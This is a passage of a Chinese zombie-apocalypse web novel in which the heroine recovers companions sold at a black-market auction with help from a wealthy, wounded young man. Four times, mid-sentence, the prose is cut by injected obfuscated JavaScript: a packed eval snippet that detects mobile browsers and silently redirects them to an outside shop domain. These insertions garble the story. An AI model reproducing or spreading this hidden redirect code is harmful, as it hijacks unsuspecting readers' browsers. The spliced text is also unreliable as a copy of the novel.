一只被剥得精光的女性丧尸。 丧尸的头上戴着头盔,脖颈处,手腕脚踝都被扣上了燎烤,它就在燎烤和锁链的控制下,一步步走上了舞台中部,一直延伸到观众席中的长平台。 丧尸身上点缀着各种昂贵华美的首饰,走到平台终点时,才被控制锁链的人拽住,反而塑造出一种像是模特走秀定点般的效果。 池遥咬紧了嘴唇,心里五味杂陈,不知为何,她有些微妙的不舒服,又难以将这种感受宣之于口。 身旁的沈观离似乎也是如此。 他在池遥的注意力集中在舞台上的丧尸上时,微微侧过头,观察她的表情,见到池遥苦恼地拧起眉头,又小心翼翼地移开目光。 和末世前的模特走秀没有差别,一个丧尸走完,又一个丧尸紧接着上场,池遥和沈观离站在落地窗前,大多数时候并没有看向台上的丧尸,而是在观察观众的反应。 “诶?” 突然,池遥短促地发出了一个疑惑的音节。 “怎么了?” 沈观离紧跟着看向台上,这才发现,不知何时,台上换成了一个身形高大健壮的男性丧尸。 这只丧尸身形极高,几乎突破两米,身上的块状肌肉更是紧实又强劲,肤色是极为吸睛的深棕色。 而他浑身上下都装点着纯金首饰,纯金项圈,缠绕整个上半身的金链,以及手腕和脚踝处层层叠叠的金镯。或许是因为他的肤色,数量如此多的金饰堆叠在身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737464|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却丝毫不显得庸俗,反而十分华美。 最为吸引人的,是他横在胸前的一条纯金细链。 沈观离侧过头看池遥,果然,身旁的人目光紧紧盯着下面的丧尸,似乎很感兴趣。 他在心里深深叹了口气。 “你很喜欢吗?”他做了好一会儿心理建设,开口问道。 尽管他还是接受不了这些,但如果她很喜欢的话,出钱买下来也未尝不可。 “这身上全是黄金啊!” 池遥想到三位伙伴一两金子的起拍价,眼睛都看直了,不由地碎碎念,“真是暴殄天物,这些人怎么把硬通货穿丧尸身上,这些黄金应该够拍三个高等丧尸了吧。” 听到这话,沈观离松了口气。 他不知道该如何形容自己的心情,在发现面前的人与他一样不喜欢变形人表演后,他就忍不住期待他们之间有更多的共同点。 也许他真的可以放弃一切,跟着她离开。 直到满身黄金的丧尸下台,池遥才恋恋不舍地收回目光,眼神中没有对男色的向往,全是对黄金的艳羡之色。 很快,一个小时的演出结束,拍卖师再次上台,第二轮拍卖正式开始。 池遥的目标,她的三位高等丧尸同伴最后出场,因此,拍卖会一开始,她和沈观离就回到沙发上坐下,一同透过屏幕看着排在前面的拍卖品。 然而,不知为何,明明介绍的重点在拍卖品上,刚刚上台表演的变形人们却一字排开,充当台上的背景板,填满了拍卖师背后的每一寸空间。 似乎看出池遥的疑惑,沈观离将小册子递过来,他翻开小册子第一页的拍卖须知,池遥才发现,在整个拍卖会期间,台上的变形人是可以随时以三十克黄金的价格买下来的。 这些上台演出的变形人,都将希望寄予在可能会出钱买下他们的客人身上。 这次的拍卖会上展出的拍卖品明显比下午时高了一个维度。 实验室新研制出来的武器和药物,变形人,能力者,甚至还有几个一点也不实用的道具,看来道具的存在在这个世界并不算是秘密。 等了很久,久到池遥感觉到几分困意,台下的观众席突然一片哗然。 拍卖师还没开始公布接下来的拍卖品,但来往的工作人员,四五个人扛着一个巨大的柜子,慢吞吞地走上了台,将柜子立放在台上。 “下一件拍卖品,是一个尚未成年的男性高等丧尸,不是攻击型能力,能力尚不清楚。” 立在拍卖师身旁的柜子被打开,顿时带出一阵凛冽的寒气。 透过包厢内的转播大屏幕,池遥看清了柜子里的陈霄。 他被冷冻在冷冻柜里,早已失去意识,皮肤表面结着一层薄薄的冰。 池遥咬紧牙关,只觉得心脏仿佛被一只大手狠狠揉搓一番,难受得无法呼吸。 那个起初死气沉沉,守在父母尸体旁边的孩子,她和霍云初等人用尽了力气,好不容易让他找回这个年龄孩子该有的外向和活力。 而现在,这个孩子被捉起来,冻在冷冻柜里,放在舞台中心任人宰割。 “起拍价一两黄金,拍卖开始!” 100. 丧尸马戏团10 终于见到期待已久的高等丧尸,观众席瞬间沸腾。 包厢内,池遥咬紧嘴唇,目光盯着屏幕中的人影,一言不发。 沈观离还在身边,害怕暴露端倪,池遥一个劲儿地压制住心中翻涌的情绪,努力保持冷静,可她实在做不到。 自己的同伴们被折磨成这副模样,她不可能无动于衷。 沈观离就看到面前的人起初紧皱眉头,五官都皱了起来,眼睛仿佛定在屏幕上,过了好一会儿,她才移开了视线,略显焦躁地在房间里来回走动。 头一次拍卖高等丧尸,拍卖师显然十分兴奋,这一次的开场词比前面的商品长了好几倍,锤子一落,观众席到处都响起了主动叫价的声音。 “一百克黄金!” “三百克黄金!” “四百克黄金!” 池遥在心里艰难换算,末日前自己对金价并不关注,此时只听观众席众人的叫价声,完全无法和自己认知中的货币系统联系起来。 “末日后,黄金市价暴涨,成为地位高于晶核的硬通货。”沈观离开口为她解释道,“末日前,黄金的价格大概是一克一千元左右,现在翻了接近十倍,你可以简单理解成一克一万元。” 所以,按照沈观离的话,台下举牌的人都是以百万为单位出价的吗! 池遥惊愕地瞪大了眼。 沈观离仍旧气定神闲地坐着,面对热火朝天的观众席,他丝毫不着急,一副志在必得的模样,他的神态也安抚了心中焦躁不安的池遥。 “不用担心。”沈观离扭过头来看她,“我会拍下他们的。” 他的目光平和温柔,不动声色地抚平了她心中的恐慌,随后,他眼珠转动一下,看向房间的另一个角落,池遥跟随着他的视线望去,不由一愣。 进入包厢房间时,她杀死了沈观离的一位保镖,直到现在,保镖的尸体仍旧留在包厢里,而他的尸体背后,是一堵色泽质地与房间装潢有些违和的墙,池遥盯着这奇怪的墙面看了一会儿,忽然意识到,这并非墙面,而是沿着墙面,垒成一堵墙的保险箱! 她根本想不到这些保险箱的内容物加起来,一共有多少克黄金! 该说不愧是财阀家的孩子吗? 沈观离这个人,奢侈到了池遥难以想象的地步。 最终,观众席上的最高价停在了七千克黄金上,池遥在心中一算,足有七千万! 尽管到了末世,金钱已经不再是必需品,但听到这么大笔数字,池遥的心脏还是猛然一颤。 “七千克黄金一次。” 拍卖师的脸上挂着难以掩盖的灿烂笑容,四千克黄金并非他们设想的最好结果,但只要一想到还有两只高等丧尸没有出场,他们的收益还能再翻个番,心中就充满了干劲。 就在这时,沈观离拾起茶几上的小遥控器,按下了小遥控器上的按钮,输入价格。 包厢内的客人身份保密,不需要直接举牌叫价,只需要通过遥控器把自己的价格发送给拍卖师,就能直接参与竞价。 “包厢客人出七千一百克黄金!还有比这更高的价格吗?” 池遥的目光扫过坐在她身边的沈观离,青年的神色仍旧十分平淡,有些恹恹的,面颊很苍白,显出几分脆弱的病弱感,然而,即使知道他有重伤在身,池遥也不敢轻视他,这个人展现的越多,她越觉得,沈观离的身上充斥着难解的谜团。 刚刚出价七千克的人仍不死心,再次与沈观离叫价拉扯了几轮,还是放弃了。 关着陈霄的冷冻柜被搬下台,这之后,装着卢淼和韩厢月的冷冻柜陆续上场,池遥发现拍卖师对不同人的介绍词略有不同,介绍卢淼时,明确描述了卢淼拥有攻击型能力,而韩厢月的介绍词与陈霄相似。 看来,黑市的人也没有确定三人的能力究竟是什么,卢淼的能力应该是阿霓透露给黑市的人的。 最后,沈观离毫无疑问连续买下三位高等丧尸。 这其中,卢淼的价格最高,因为确定了卢淼有攻击能力,观众席竞价尤为激烈;韩厢月因为最后一个出场,价格也不低,最初交易到令池遥瞠目结舌的七千克黄金的陈霄反而成了成交价格最低的一个。 高等丧尸的拍卖结束后,整个拍卖会也就此落下帷幕,观众们在黑市保安的组织下离开,沈观离从沙发上起身,站起来时,身体微微晃动一下,差点栽倒在地,他立刻伸手用力撑住沙发扶手,攥得指尖发白,才慢慢稳住摇摇欲坠的身体。 “没事吧?”池遥伸手扶了他一把,在握住他的手时,释放了一些治愈能力,治疗了沈观离身上过于严重的几道伤口。 沈观离显然感受到了身体的变化,神情有几分错愕,呆滞地站在原地,愣了几秒,才轻声开口。 “一会儿等所有人离开之后,拍卖师会把拍下的高等丧尸送来,到时候你就可以把他们带走了。”他沉默了几秒,继续开口,“但是,这场拍卖会的观众,大部分都是冲着高等丧尸来的,拍卖不到高等丧尸,他们可能不会善罢甘休,很有可能埋伏起来意欲对我们下手,我建议你和我一起离开影视乐园。” 沈观离说的话也是池遥担忧的点,她沉吟片刻,点点头。 除了三位高等丧尸,还有托付在解忧客栈的两个普通人同伴,不知道他们这会儿是否已经变成高等丧尸了。 池遥一边想,一边习惯性地在包厢中来回走动,无意中看到倒在地上的保镖尸体,顺手把保镖尸体拖到沙发下面藏好。 没过一会儿,包厢大门被敲响,一群人抬着装着三名高等丧尸的冷冻柜等候在门口,拍卖师站在最前方,一见到沈观离,就毕恭毕敬地弯腰,问冷冻柜如何处理。 “搬到房间里来就好。”沈观离朝房间内看了一眼,此时已经看不到保镖尸体了,他就后退几步,让出进包厢的路,站在一旁看着工作人员们把沉重的冷冻柜搬进房间。 紧接着,沈观离微微仰头,目光落到墙边高高摞起的保险箱上,示意拍卖师自行取走,一群人清点了半天,抱着几个箱子离开,只带走了极小部分的保险箱。 “这是沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748366|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家在黑市专属的包厢。”沈观离向池遥解释道,“黑市也做存贷款生意,这些黄金一直放在这个包厢里,算是存储在黑市的存款,只是沈家资产的一小部分,所以无论这些高等丧尸的价格有多高,我都买得起。” 不愧是财阀家族,真是财大气粗。 池遥在心中感叹了一句,打开冷冻柜门,把卢淼从冷冻柜里扶了出来,抱到沙发上,紧接着,陈霄和韩厢月也终于摆脱了冷冻柜,被平放在地上,年纪小的池遥和陈霄状态最差,皮肤表面结了薄薄一层冰,韩厢月的状态稍微好一些,一离开冷冻柜,手指就动了一下。 池遥蹲下来,先给陈霄输送能力,她需要陈霄的能力来联络解忧客栈内的二人,而在她为陈霄输送能力的同时,一旁的韩厢月已经撑着身体缓慢坐了起来,眼神涣散,似乎还没弄明白发生了什么。 “韩厢月?”她忍不住轻声叫出对方的名字。 池遥没看到,在她说出韩厢月的名字时,一旁观察这一切的沈观离表情微微一怔。 韩厢月循着池遥的方向扭头,冷冰冰的手指攫紧了她的衣袖,目光依旧很分散,难以聚焦。 “池遥?” 他哑着嗓子问。 池遥张了张口,想说话,又想到站在一旁的沈观离,转而闭上了嘴,在脑海中问道。 是我,韩厢月,你没事吧? 韩厢月的能力可以读心,想必也可以读到池遥的心声,只是这样下来,池遥只能单方面和他交流了。 她在脑海中将自己来到影视乐园后发生的事完整回忆了一遍,韩厢月了解了她的事,冲她点点头。 很快,陈霄皮肤上的冰渐渐融化,少年睁开眼,第一个看到的就是坐在他身边的池遥。 若是在之前,他第一时间就会欢呼着扑上去,而此时,他却按捺下见到池遥而躁动不已的心情,四处观察一番,看到有沈观离在,便低下头,紧抿着嘴,没有说话。 一看到陈霄醒来,池遥就立刻走到沙发旁,去治疗倒在沙发上的卢淼,没过一会儿,却听到了陈霄的声音在脑海中响起。 “池遥姐姐,能听到吗?” 有沈观离在,陈霄有所顾忌,只能通过能力与池遥交流。 池遥在脑海中将自己来到黑市后经历的事说给陈霄听,说完后,又交代陈霄去主动联系一下钱朗和岳明二人,问问他们的情况。 陈霄答应后,就断开了和池遥的联络,转而去沟通两位身在解忧客栈的人。 很快,卢淼也逐渐清醒过来,池遥联想到自己之前在隐山被冻在冷冻柜里的经历,而面前的几位高等丧尸,陈霄和卢淼是在池遥的能力影响下醒来的,但韩厢月一离开冷冻室,就立刻能够凭借自身的力量清醒,并且一醒来就能够使用能力。 这样看来,高等丧尸的身体素质完全不是普通人,甚至能力者可以比拟的。 就在池遥思考这件事的时候,脑中突然传来陈霄的声音,语气很雀跃。 “池遥姐姐,我联系上他们了!他们已经醒了!” 101. 丧尸马戏团11 送走池遥,张扬回到房间里,狭窄的房间地上倒着两个昏迷不醒的人,把本来就不宽裕的空间挤占得更加闷涩。 张扬坐在床边,将自己今天挣到的晶核塞进床下的暗格里,他每天的收入和客栈老板平分,只分到了两块二阶晶核,但这两块晶核已经能够维持好几天的生活了。 黑市的资源充足,背后有身份神秘实力强大的黑市主人撑腰,让整个园区成为了一个密不透风的避难所,吸引了大量没有自保能力的普通人,也的确为许多普通人提供了庇护。 正因如此,张扬并不为自己的工作感到自卑,甚至还要庆幸,正因为身处黑市,他才能一直安稳地苟活至今。 在听到池遥的同伴面色沉痛地讲述亡故的伙伴时,张扬心中一边跟着共情,感到真切的难过,另一方面却也为自己的处境感到庆幸。 幸好他从始至终都没有离开园区,不然一定会像池遥的伙伴一样,早早丧命。 只是,在看到倒在地上,不省人事的两个普通人时,张扬心中也涌上些微的敬意。 然而,没过一会儿,他却发现,不知何时,房间里泛起了潮气。 起初,只是呼吸能感觉到空气明显变得湿润了不少,过了将近一个小时,小小的房间里却起了雾。 雾气越来越浓,持续了很长时间,有一段时间甚至达到了伸手不见五指的程度,张扬心中惊慌,他反应过来情况不对,想离开房间,却丧失了方向感,找不到房间的门,最后只能强行压下心中的恐慌,坐在原地。 十几分钟后,雾气终于散开,房间恢复原样,张扬这才发现倒在地上的一个人已经睁开了眼睛,此时正扶着脑袋,晃晃悠悠地从地板上爬起来。 “你醒了?”张扬问。 听到张扬的声音,爬起来的人毫无情绪的目光直直落在他身上。 明明几个小时前,这个人还在池遥面前满脸沉痛地表决心,然而再次醒来时,神色却变得一片漠然,仿佛被抽空了所有情绪。 太奇怪了。 不止如此,当对方的目光落到张扬的身上时,张扬第一时间感觉到了仿佛被猛兽盯上的恐怖感,对方的目光中似乎有垂涎,盯着他的视线活像是在看一盘美味的食物。 幸好,对方很快就收回视线,张扬这才松了一口气,听到对方的声音。 “现在什么时间了?” 岳明轻轻动了动手指,敏锐地感觉到空气似乎又湿润几分,顾及到张扬在场,他不再尝试自己的新能力,而是问起了池遥等人的情况。 “池遥小姐呢?” “她走了,说是一会儿会回来。”张扬道。 岳明点点头,动作僵硬地从地板上爬起来,目光扫过倒在地上的钱朗,忽然顿住了。 不知是不是错觉,他竟然看到,钱朗的手指上窜出了一个指甲盖大的小火苗。 淡粉色的火苗从他的指尖蔓延到手掌,又蔓延到他的衣袖当中,岳明以为他整个人都会烧起来,但火苗并没有引燃钱朗身上的衣服,也避开了地上的易燃物,似乎只是在钱朗的体内熊熊燃烧。 看样子,钱朗也成功变成高等丧尸了。 岳明在心里松了口气,回过头看向张扬,刚想说什么,却突然听到一个熟悉的声音,隔着很远的距离,直直传进他的脑海。 “岳明!能听到吗?我是陈霄!” 陈霄,我能听到。 岳明在脑海中回应他。 陈霄立刻将他和池遥那边的情况告诉岳明,语速又快又急,岳明推测陈霄那边也许并不平静,只简单交代了自己和钱朗的现状,陈霄就急急忙忙断开了连接。 “池遥姐姐,我联系上他们了,他们已经醒了!” 听到陈霄的声音,池遥总算放下了一直悬着的心,长出一口气。 陈霄,一会儿出了黑市帐篷,你们跟着沈观离走,我要先去一趟解压客栈,把岳明和钱朗接回来。我们的车停在影视乐园外不远处,如果你们那边顺利的话,直接去车里等我们。 池遥在脑海中对陈霄这样说,同时侧过头看了一眼韩厢月,韩厢月一直在听着她的心声,接收到她的目光,立刻冲她点点头。 而陈霄在断开和池遥的联系后,立刻再次在脑海中将池遥的话转告给了刚醒来的卢淼,这样下来,他们就在沈观离眼皮底下完成了重逢后的交流。 “我们走吧。”再次确认过三人的状态,池遥才站起身,看向倚靠着墙壁,垂着眼一言不发,不知道在想什么的沈观离。 “好。”沈观离点点头,拾起连接着三位高等丧尸脚踝上的脚镣的铁链,“你们介意我先拉着这个吗?如果不拿着这个,恐怕黑市的人会误会。” “没关系。”韩厢月立刻开口,他抬起脚踝,动作灵活地晃动几下连着脚踝的脚镣和链子,冲池遥摇了摇头。 池遥立刻就明白了他的意思,对人类而言有威胁性的脚镣和铁链,对高等丧尸却根本构不成威胁。 五人一同走出黑市,沈观离走在前面,手中握着三条铁链,池遥走在他身边,扶着他的一条胳膊,他现在走路时身体晃得厉害,终于看出了几分重伤的样子,池遥只得分神扶着他。 而三位高等丧尸,装出一副被迫服从的样子跟在二人身后,这个组合实在太过奇异,一到帐篷一楼就引起了拍卖师的注意。 “沈少爷!您把这三个高等丧尸唤醒了吗?” “我没带那么多人手,没办法把冷冻柜搬回去,就全部唤醒了。”沈观离冲拍卖师微微颔首,脚步没有丝毫停顿,大步离开。 然而,刚走出帐篷,池遥就听到一阵微小的金属摩擦声,本能地摸刀挡在身前,却不偏不倚,拦住了一把不知从什么方向飞来的小刀。 有埋伏! 沈观离身受重伤,不能指望他出手,身后的三位高等丧尸名义上仍是沈观离买下的商品,无法出手,池遥第一时间挡在了沈观离身前,握紧了手中的刀柄。 不知何时,空气中连续传来诡异的波动,沈观离第一时间将手中的链条换了一只手,下一秒,链条原本所在的位置遭到了好几次攻击。 对方明显是抱着抢夺高等丧尸的目标来的,并没有直接对沈观离本人出手,而是极尽阴险手段,通过攻击他手中的链子,攻击他身边的池遥,来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752923|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达到目的。 池遥空出一只手握紧了沈观离的手腕,试图给他输送一点能力,但沈观离似乎感受到了她的意图,轻轻松开她的手。 “没事。”声音低柔。 他身形高挑,池遥瘦小的身形无法完全挡住,只感受到一个冰冷的触感搭在了她的肩膀上。 是沈观离的手。 “谢谢你担心我。” 被她护在身后的俊秀青年步伐缓慢地从她背后走了出来,顺手取走池遥手上的长刀,握在手里,他越过池遥,站在池遥身前,反将她护在了身后。 “各位,别来无恙啊。” 沈观离的声音不大,透着很明显的疲惫感,目光扫过潜藏在夜幕中的敌人们,他无暇也无意把这群觊觎高等丧尸的蛀虫一个个揪出来,最方便省事的办法反而是这招。 被沈观离护在身后的池遥,惊愕地看着青年动作迅速地举刀,毫不留情地将刀尖横在自己的脖颈前。 一如池遥与他初见时对他做的事一样。 “大家既然认得我,想必也知道我的能力了。”沈观离的身体微微晃动一下,语气更加有气无力,“如果各位坚持要抢夺沈某重金买下的高等丧尸的话,沈某不介意玉石俱焚,让大家陪沈某一同去死。” 他已经无法站稳了,池遥在他身后撑着他的身体,听到他的话,突然一个激灵。 她似乎隐隐约约,猜出了沈观离的能力。 从她闯进包厢开始,沈观离就没有展露出任何主动出手的意愿,然而,他的态度却一直都十分气定神闲,似乎笃定无论池遥如何攻击,他都会获得胜利。 不止如此,他身上还有着大量堪称恐怖的伤痕,新伤旧伤叠加在一起,若是个普通人受了如此严重的伤,恐怕站都站不起来。 “你的能力是什么?”为了验证内心的猜想,她忍不住轻声问出声。 “既然这么问,应该已经猜到了吧?”沈观离苦笑一声,维持着持刀自刎的动作没动,“我的能力是共感,可以和其他人通感,让别人遭受和我一样的伤害,感受到我的痛苦。” 沈观离的身体再强大,也只是能力者的强度。 正因如此,他身上的每一道伤口,给他带来的痛感都极为真切,他每分每秒都承受着常人无法忍受的痛苦,可这些伤口却正是他凭借取胜的关键。 可是,如果沈观离死亡,他的能力还会起效吗? 果然,沈观离的威胁起了作用,渐渐地,池遥看到几个人影纷纷现身,一言不发地后退离开。 过了许久,直到所有敌人都主动离开,沈观离才松了一口气,将刀还给池遥。 “那,如果你......死亡的话,能力还会起效吗?”池遥思索再三,把自己的疑问问了出来。 “不会。但是,因为能力原因,我的生命比一般能力者顽强得多,就算受到致命伤,受伤后坚持存活不死的时间也会比其他人长一些,因此,我的能力还是会起效。” “毕竟,其他人受到和我同等的伤,死亡速度一定要比我快得多。” 听到这话,池遥心中一时五味杂陈,有点泛酸。 102. 丧尸马戏团12 沈观离的车就停在马戏团帐篷后的停车场里,然而,走出帐篷后,沈观离犹豫半晌,却朝着帐篷外无人的小路走去。 “我的保镖都在车上,他们的来历有点复杂,不好应付。”他冲池遥苦笑一声,“我先送你们出乐园,再折返回来,那些人是想对高等丧尸出手,不会对我这个沈家人动手。” 池遥与身后的陈霄三人对视一眼,将自己的打算说给沈观离。 “我还有几个伙伴在其他地方,我要先和你们分开一会儿去接他们,一会儿在园区大门口见面?” 沈观离点点头,池遥则伸手轻轻拍拍对方的肩膀,最后与三位同伴对视一眼,转身离开。 不知为何,韩厢月盯着她的目光似乎有些异样,池遥想了半天,也没想明白他究竟想表达什么,他或许是听到了谁的心理活动,池遥无从猜测,只好把这事默默压在心里。 一与沈观离等人分开,池遥再度感受到了刚进园区时感受到的强烈杀意,然而,潜藏在暗处窥视她的猎食者却始终没有出手。 有那道满含杀意的视线在,似乎逼退了其他敌人,池遥这一路出奇顺利,很快就到了解压客栈的后门,打开后门,顺着后门楼梯,无声地来到了三楼。 似乎预知到了她的到来,张扬的房门并没有关紧,她轻轻一推就开了。 房间里没有开灯,却极为明亮,洒落在房间各处的火星组成了一片璀璨的灯海,仔细看去,每一点火星都悬浮在半空中,轻微晃动着,场面奇诡而绚丽。 而张扬和钱朗岳明三人,就坐在这被梦幻的红色填满的房间中。 “张扬?”见到这幅景象,池遥忍不住轻声开口,问了一句。 张扬这才看向门口,当看到池遥的脸时,立刻露出讨好的笑容。 “姐姐!你来啦?” “我来接他们离开。”池遥看向张扬身边的二人,她刚来到门口,两人就同时站起来,走到她身边。 池遥从衣服口袋里掏出遥控器,还给张扬,不知为何,她的手悬在张扬面前半天,张扬才慢半拍地伸出手,收回了自己送出去的东西。 “这次是真的要走了吗?” 他的声音很轻。 池遥冲他点点头,从吊坠中找出一枚三阶晶核塞进张扬手中,算是张扬一直跟在她身边帮她,又冒着风险把她的同伴留在房间里的回报。 张扬的手僵在身前,久久没有收回手。他垂下头,池遥看不清他的神色,只看到他的喉结很快速地滚动一下,又问:“那你......以后还会再来这里吗?” 这座园区里还有池遥尚未解开的谜团,一直藏在暗处注视她的视线,不知被什么人贴在情报处的曲卓寻人启事,以及黑市地下的笼子,都是池遥颇为注意的细节。 “有机会的话,还会再来的。” 如果一直找不到曲卓的踪迹,她很有可能会折回来查看曲卓的寻人启事。 与依依不舍的张扬道别后,池遥带着两个刚刚变成高等丧尸的同伴离开,去影视乐园大门前与沈观离等人汇合。 离开解压客栈的路上,岳明与钱朗将自己的能力告诉池遥,岳明可以制造浓雾,而池遥推门时看到房间里的火星则是钱朗的杰作,不过他的能力只能制造小火苗或者小火星,无法形成更大规模的火焰。 没走多远,池遥突然看到前方的窄巷中有几个鬼鬼祟祟的人影聚在一起,似乎正在讨论什么。 再向前走不了多久,就是通往影视乐园出口的一条大路,也是沈观离和池遥等人离开这里的必经之路,这些人此时聚在一起,显然是不安好心。 池遥放轻脚步,缓慢靠了过去。 “沈观离他们肯定会走这条路,我们只要在这里守着,就不愁得不到那三只高等丧尸。” “是啊,我们只要趁沈观离不备把高等丧尸抢来就好,根本不需要和沈观离那个怪物正面抗衡,只要不让他察觉到就有戏!” 池遥微微挑眉。 果然,又是一伙贼心不死,妄图抢夺高等丧尸的强盗。 她退后几步,看向身旁刚刚变成高等丧尸的两人。 “交给我。”岳明立刻看出她的意图,上前一步,伸出手。 漆黑的夜色之下,不知何时,小巷里弥漫起来几乎能够隔绝全部视野的浓雾。 “好奇怪,什么都看不清了,是起雾了吗?” “什么鬼天气,怎么会起雾?” “雾实在太浓了,你们都在哪儿?” “可恶!这下我们还怎么盯着沈观离!” 岳明的浓雾可以让被浓雾困住的人短暂失去方向感,这下这伙人是没办法对沈观离下手了。 听着那群人气急败坏的声音,池遥低下头,藏起眼中的笑意,跟着岳明穿越伸手不见五指的浓雾,来到正门前的大路上。 这条白天人声鼎沸的商业街,此时恢复了荒凉僻静的原貌,池遥带着二人一直走到尽头,看到了提前到达大门口,正在等候他们的沈观离四人。 在沈观离身后,韩厢月,陈霄,卢淼三人已经摆脱了手腕脚踝上的燎烤,一看到池遥的身影,就对池遥露出了明朗的笑容。 “池遥!”卢淼更是直接扑上来,紧紧抱住了池遥,池遥回手抱住她瘦弱的身体,感受到对方冰冷的体温,没抱一会儿就松了手。 “沈先生,真的很感谢你一直帮我到现在。”池遥握紧了脖颈前的空间吊坠,深吸一口气,冲沈观离深深鞠一躬,“如果没有你的话,我简直不知道要怎么办,而且你还花了那么多黄金,帮我赎回了我的同伴。” 直到一切结束,她的语气才终于出现了几分哽咽,紧接着,她从口袋里取出一条空间吊坠,递给了沈观离。 这本来是池遥从阿霓身上搜刮来的空间吊坠,吊坠里的物品被池遥尽数转移到了自己的空间吊坠里,这条空间吊坠就被闲置了。 她不知道该怎么感谢沈观离,浑身上下最贵重的就是这条空间吊坠,只能将此物送出,作为谢礼了。 “这个空间吊坠是很常见的道具,你说不定已经有了,但是我也找不到更好的谢礼,你如果不嫌弃的话可以收下吗?” 然而,面对池遥手中的空间吊坠,沈观离却没有动。 他的目光定在池遥手心里的吊坠上,凝视好一会儿,又看向池遥的脸,与她对视。 “池遥。”他的声音在夜色中显得格外无力。 “你还记得,我最初对你说的话吗?” 池遥抬起头,月光下,青年的脸色惨白如纸,呼吸轻微到不可闻,仿佛一尊满是裂痕的瓷器,仿佛随时都会消散在夜幕中。 池遥心中一震,脑海中回荡起沈观离说过的话。 ——那......池遥小姐,拍卖会结束后,把我带走吧。 难不成,这是他心中的真实想法吗? 她惊疑不定地与他对视,然而沈观离只是冲她露出一个略显惨淡的笑容,什么也没说。 “抱歉,沈先生,我们的基地之前遭到了攻击,幸存的伙伴全部被卖到了黑市里,你也看到了,我身边现在只剩下这几位同伴了,我们没有基地,没有住所,一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762613|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不能确定,所以,恐怕没办法再加一位同伴了。” 她狠下心,拒绝了对方。 “啊......”听到池遥的话,沈观离反而轻柔地笑了起来,声音微微有些发抖,“没什么,之前的条件是在开玩笑的,我的身份太......大概也是没办法离开北方基地的。” 他的声音断断续续,呼吸之间带出轻微的呛咳声,池遥忍不住握住他的手,在分别前,动用能力治好了他身上大部分的伤,顺便把空间吊坠一起塞进他的掌心。 她知道自己没错,可是当听到沈观离的回答时,内心深处还是隐隐作痛。 沈观离没再说话,柔和的目光一直落在她身上,直到池遥受不了地扭过头,避开他的目光,他才冲池遥笑了笑。 “池遥,以后你会来北方基地吗?” 这个问题,池遥没有回答。 来到这个世界以后,她尽管没有去过北方基地,却在无形中和北方基地的人有了相当多的纠葛,林北辰,沈家兄弟,甚至是霍云初,桩桩件件,似乎都在引着她朝北方基地的方向走。 未来,她说不定真的会进入北方基地。 “那,我们就走了。”池遥冲沈观离点头道别。 “嗯。”沈观离的目光一直紧紧追随着她。 天色已经不再是一片漆黑,有了熹微的亮光,过不了多久,就会迎来新一轮日出,挣扎活在这个世界上的幸存者们,又活过了新一天。 池遥收回盯着天幕的目光,扫过身旁的每一位同伴,终于露出这几天以来,自己第一个真心实意的笑容。 “我们现在去找心悦和她会合吧!” 这一次饶城影视乐园之行,只花费了不到一天的时间,却让池遥倍感疲惫,幸好心悦这边安然无恙,她找到心悦的车时,心悦正在副驾驶位置警惕地观察四周,驾驶座上被手铐紧紧束缚住的关振已经狼狈地靠着吊起的手臂睡着了。 卢淼第一个冲上车,紧紧抱住了心悦。 终于,这群霍云初从隐山带回来的幸存者队伍,再次聚齐了。 池遥后退一步,没有参与进大家的寒暄之中,只遥遥望着大家的背影。 但很快,韩厢月就回过头,视线精准地找到了她,冲她露出一个抚慰人心的笑。 关振再次被五花大绑丢进车厢里,韩厢月接替了司机的位置,一边启动车子,一边询问身边的池遥:“我们朝哪个方向走?” 眼下,他们刚刚脱离了黑市,为了躲避那些觊觎高等丧尸的人,应该离黑市越远越好。 饶城影视乐园位于饶城郊区,大门前只有一条大路,大多数人都是从饶城市区的方向开车过来的,很少有人会去到影视乐园之外更加偏远的郊区方向。 “我们朝着郊区方向开。” 